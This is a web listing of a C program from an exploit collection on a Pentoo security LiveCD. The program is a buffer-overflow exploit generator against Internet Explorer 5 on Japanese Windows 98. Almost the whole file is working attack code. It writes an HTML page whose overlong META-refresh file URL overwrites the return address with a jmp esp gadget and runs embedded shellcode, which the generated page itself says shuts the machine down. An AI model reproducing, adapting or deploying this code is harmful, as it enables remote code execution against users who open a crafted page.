home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / IE / ie5filex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  57 lines

  1. /*=========================================================================
  2.    Microsoft IE5 for Windows98 exploit
  3.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  4.    Written by UNYUN (shadowpenguin@backsection.net)
  5.   =========================================================================
  6. */
  7.  
  8. #include    <stdio.h>
  9. #include    <windows.h>
  10.  
  11. #define     MAXBUF          1000
  12. #define     RETADR          53
  13.  
  14. /*
  15.     jmp esp (FF E4) code is stored in this area.
  16.     You must change this address for non-Japanese Windows98
  17. */
  18. #define     EIP             0xbfb75a35 
  19.                                          
  20. unsigned char   exploit_code[200]={
  21. 0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
  22. 0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
  23. 0x00
  24. };
  25.  
  26. main(int argc,char *argv[])
  27. {
  28.     FILE                    *fp;
  29.     unsigned int            ip;
  30.     unsigned char           buf[MAXBUF];
  31.  
  32.     if (argc<2){
  33.         printf("usage %s output_htmlfile\n",argv[0]);
  34.         exit(1);
  35.     }
  36.     if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;   
  37.     fprintf(fp,"<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=file://test/");
  38.     
  39.     memset(buf,0x41,MAXBUF);
  40.     ip=EIP;
  41.     buf[RETADR-1]=0x7f;
  42.     buf[RETADR  ]=ip&0xff;
  43.     buf[RETADR+1]=(ip>>8)&0xff;
  44.     buf[RETADR+2]=(ip>>16)&0xff;
  45.     buf[RETADR+3]=( ip>>24)&0xff;
  46.     memcpy(buf+80,exploit_code,strlen(exploit_code));
  47.     buf[MAXBUF]=0;
  48.     fprintf(fp,"%s/\">\n<HTML><B>",buf);
  49.     fprintf(fp,"10 seconds later, this machine will be shut down.</B><BR><BR>");
  50.     fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
  51.     fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR>");
  52.     fprintf(fp,"</HTML>\n");
  53.     fclose(fp);
  54.     printf("%s created.\n",argv[1]);
  55.     return FALSE;
  56. }
  57.